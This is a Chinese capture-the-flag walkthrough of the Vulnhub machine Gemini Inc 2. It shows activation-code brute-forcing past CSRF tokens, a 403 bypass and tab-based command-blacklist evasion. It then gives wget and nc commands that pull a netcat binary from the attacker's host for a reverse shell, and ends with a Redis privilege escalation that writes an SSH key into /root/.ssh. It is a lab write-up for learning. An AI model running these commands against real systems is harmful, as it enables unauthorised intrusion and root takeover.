Vulnhub靶机:GEMINI INC_ 2

目录

  • 介绍
    • 主机发现
    • 主机信息探测
  • 网站探测
    • 目录爆破
    • 激活码爆破-绕token
    • 破解管理员密码
    • 403绕过
    • 命令执行绕过
  • 提权
    • SSH登录
    • redis提权

介绍

系列:Gemini Inc(此系列共2台)
发布日期:2018年04月29日
注释: 使用vmwar workstation运行虚拟机
难度: 中
目标: 取得 root 权限 + Flag
攻击方法:

  • 主机发现
  • 端口扫描
  • 信息收集
  • 隐藏路径爬取
  • 开放注册
  • 激活码爆破
  • Anti CSRF Token
  • 密码破解
  • WAF Bypass
  • 命令注入
  • 黑名单绕过
  • SSH公钥认证
  • Redis漏洞利用
  • 本地提权

靶机地址:https://www.vulnhub.com/entry/gemini-inc-2,234/

主机发现

netdiscover主机发现

sudo netdiscover -i eth0 -r 192.168.239.0/24

Vulnhub靶机:GEMINI INC_ 2_第1张图片

主机信息探测

nmap -p- 192.168.239.139
nmap -p22,80 -sV 192.168.239.139

网站探测

点点上面的链接,没啥用。
Vulnhub靶机:GEMINI INC_ 2_第2张图片

目录爆破

分别进行了常规目录爆破,和文件后缀爆破

dirsearch -u http://192.168.239.139 --full-url
gobuster dir -r -u http://192.168.239.139 -x txt,html,php,bak,old,tar,zip -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 100 -e

得到了一些有趣的页面:

激活页面:http://192.168.239.139/activate.php
黑名单页面:http://192.168.239.139/blacklist.txt
注册页面:http://192.168.239.139/registration.php
  1. 注册一个账号

我先是用火狐浏览器注册的,页面没反应,换个别的浏览器出现反应了。第一次注册的时候给出一个提示,说不知道哪里出错了,第二次注册的时候提示账号已经注册了。
Vulnhub靶机:GEMINI INC_ 2_第3张图片

Vulnhub靶机:GEMINI INC_ 2_第4张图片

  1. 登录账号

登录的时候得知需要一个6位数字的注册码,我在爆破目录的时候发现了一个激活页面,应该就是它了。
Vulnhub靶机:GEMINI INC_ 2_第5张图片

查看当前账户信息时发现当前账户的id是14
Vulnhub靶机:GEMINI INC_ 2_第6张图片

激活码爆破-绕token

来到激活码页面,把我这个账号对应的id输进去。当我随便输入一个激活码的时候,页面没有任何反应,换用别的浏览器也是这样。我看了眼bp,首先确定爆破激活码的话需要绕Token;其次,猜测可能激活码输入正确时才会给出反应。那就开始爆破吧。
Vulnhub靶机:GEMINI INC_ 2_第7张图片

Vulnhub靶机:GEMINI INC_ 2_第8张图片

  1. 保持拦截

输入我们的id号,随便写个激活码,bp开启拦截,把拦截的数据包发送到爆破模块中。bp继续保持拦截!

  1. 设置攻击模式

攻击类型选择“Pitchfork”,然后选择设定攻击的两个对象
Vulnhub靶机:GEMINI INC_ 2_第9张图片

  1. 设置payload
    1. 设置第一个参数

Vulnhub靶机:GEMINI INC_ 2_第10张图片

  1. 设置第二个参数

第二个参数的攻击模式选择:递归搜索(Recursive grep),下拉框的第6个选项
Vulnhub靶机:GEMINI INC_ 2_第11张图片

Vulnhub靶机:GEMINI INC_ 2_第12张图片

  1. 设置爆破速度

因为是绕token,因此速率必须是1
Vulnhub靶机:GEMINI INC_ 2_第13张图片

  1. 设置失败重试次数

同样是还是因为token每次变化的原因,禁止失败重试。
Vulnhub靶机:GEMINI INC_ 2_第14张图片

  1. 开始攻击

不多时,发现了一个与众不同的攻击信息。得知激活码是 000511

Vulnhub靶机:GEMINI INC_ 2_第15张图片

  1. 验证攻击

bp停止拦截数据包,刷新浏览器页面,已经可以看到个人信息了。
Vulnhub靶机:GEMINI INC_ 2_第16张图片

破解管理员密码

常规的信息收收集中,在用户列表中发现了名为“9emin1”的用户的“Rank”标签是“ Administrator ”,不妨试着登录这个账号试试。
Vulnhub靶机:GEMINI INC_ 2_第17张图片

如何登录这个账号呢?因为我的BP安装了HaE,我先是看了一眼,发现了一个敏感信息
不清楚html标签含义的话,参见这里:https://www.w3school.com.cn/tags/tag_comment.asp
Vulnhub靶机:GEMINI INC_ 2_第18张图片

来到https://www.cmd5.com/ ,破解得到密码:secretpassword

403绕过

使用账号:Gemini、secretpassword登录网站,有个按钮提示我可以执行命令,但是当我尝试访问它的时候,页面没有显示任何内容,通过BP可以知道,我看不到内容的原因是IP地址不被允许访问。
Vulnhub靶机:GEMINI INC_ 2_第19张图片

虽然BurpSuite_403Bypasser已经探测到了bypass,但是这里我打算使用 “Bypass WAF”来绕过。
Vulnhub靶机:GEMINI INC_ 2_第20张图片

在BP应用商店搜索waf,你会看到“Bypass WAF”,根据介绍信息可以得知它主要用来ByPass403。
Vulnhub靶机:GEMINI INC_ 2_第21张图片

使用:

  1. 插件的默认配置无需改动
  2. 为了效果的纯粹性,在一台干净的win2012上启用一个干净的BP

Vulnhub靶机:GEMINI INC_ 2_第22张图片

Vulnhub靶机:GEMINI INC_ 2_第23张图片

Vulnhub靶机:GEMINI INC_ 2_第24张图片

Vulnhub靶机:GEMINI INC_ 2_第25张图片
注意到,仪表盘没有提示403bypass

  1. IP绕过403的方法很多,之前总结过7种方法:https://www.yuque.com/u1881995/xwfvho/aam6g8#z9Jnp

命令执行绕过

尝试执行命令时,提示命令中包含非法字符,想起 http://192.168.239.139/blacklist.txt 中有黑名单。
Vulnhub靶机:GEMINI INC_ 2_第26张图片

碰到这种情况,试试tab绕过呢?可以看到命令成功执行了,但是我这里没有收到连接
Vulnhub靶机:GEMINI INC_ 2_第27张图片

既然如此,我就投递nc重新来反弹shell,为了绕过过滤,这里把所有的请求体的+替换为%09
Vulnhub靶机:GEMINI INC_ 2_第28张图片

在浏览器中依次执行如下命令:

wget http://192.168.239.138/nc -O /tmp/nc
chmod +x /tmp/nc
/tmp/nc 192.168.239.138 4444

Vulnhub靶机:GEMINI INC_ 2_第29张图片

结果拿到的shell不能用,这一幕似曾相识。参见:https://www.yuque.com/u1881995/xwfvho/fdp6eb#brSWl
与以往靶机不同的是,我很确认自己投递的nc是带-e功能的,那就指明终端重来
Vulnhub靶机:GEMINI INC_ 2_第30张图片

提权

常规提权无效,提权脚本发现的漏洞也利用失败。漫无目的的翻看提权脚本的其他信息,发现靶机运行着redis和mysql,而redis是以root权限运行的。在redis默认路径下发现了它的配置文件,并获取了其登陆密码。

Vulnhub靶机:GEMINI INC_ 2_第31张图片

在使用过程中发现光标显示效果存在严重问题,如何解决?

SSH登录

在之前的打靶经验中曾经介绍过“SSH偷梁换柱”语雀地址、CSDN地址,可以通过SSH公钥身份认证登录解决上述的显示异常问题。

  1. kali生成ssh文件:ssh-keygen
  2. 靶机重新反弹个shell:
cd ~
mkdir .ssh
cd .ssh
/tmp/nc -nvlp 5555 > ./authorized_keys
  1. kali传送文件:nc -nv 192.168.239.139 5555 < id_rsa.pub -w 1

测试发现,kali投递 authorized_keys 或者 id_rsa.pub 都是可行的。因为这俩本来就是一个东西。

  1. kali直接免密登录:ssh [email protected]

Vulnhub靶机:GEMINI INC_ 2_第32张图片

redis提权

由于redis是以root权限运行的,那么我们可以尝试把 gemini1 家目录下的authorized_keys文件丢到root家里面,进而实现提权。

cd ~/.ssh

把authorized_keys转换为redis可以使用的格式
(echo -e "\n\n"; cat authorized_keys; echo -e "\n\n") > pub.txt

ls
cat pub.txt | redis-cli -a 8a7b86a2cd89d96dfcc125ebcc0535e6 -x set ssh_key
redis-cli -a 8a7b86a2cd89d96dfcc125ebcc0535e6
CONFIG set dir /root/.ssh
config set dbfilename "authorized_keys"
save

Vulnhub靶机:GEMINI INC_ 2_第33张图片

你可能感兴趣的:(靶机,Vulnhub)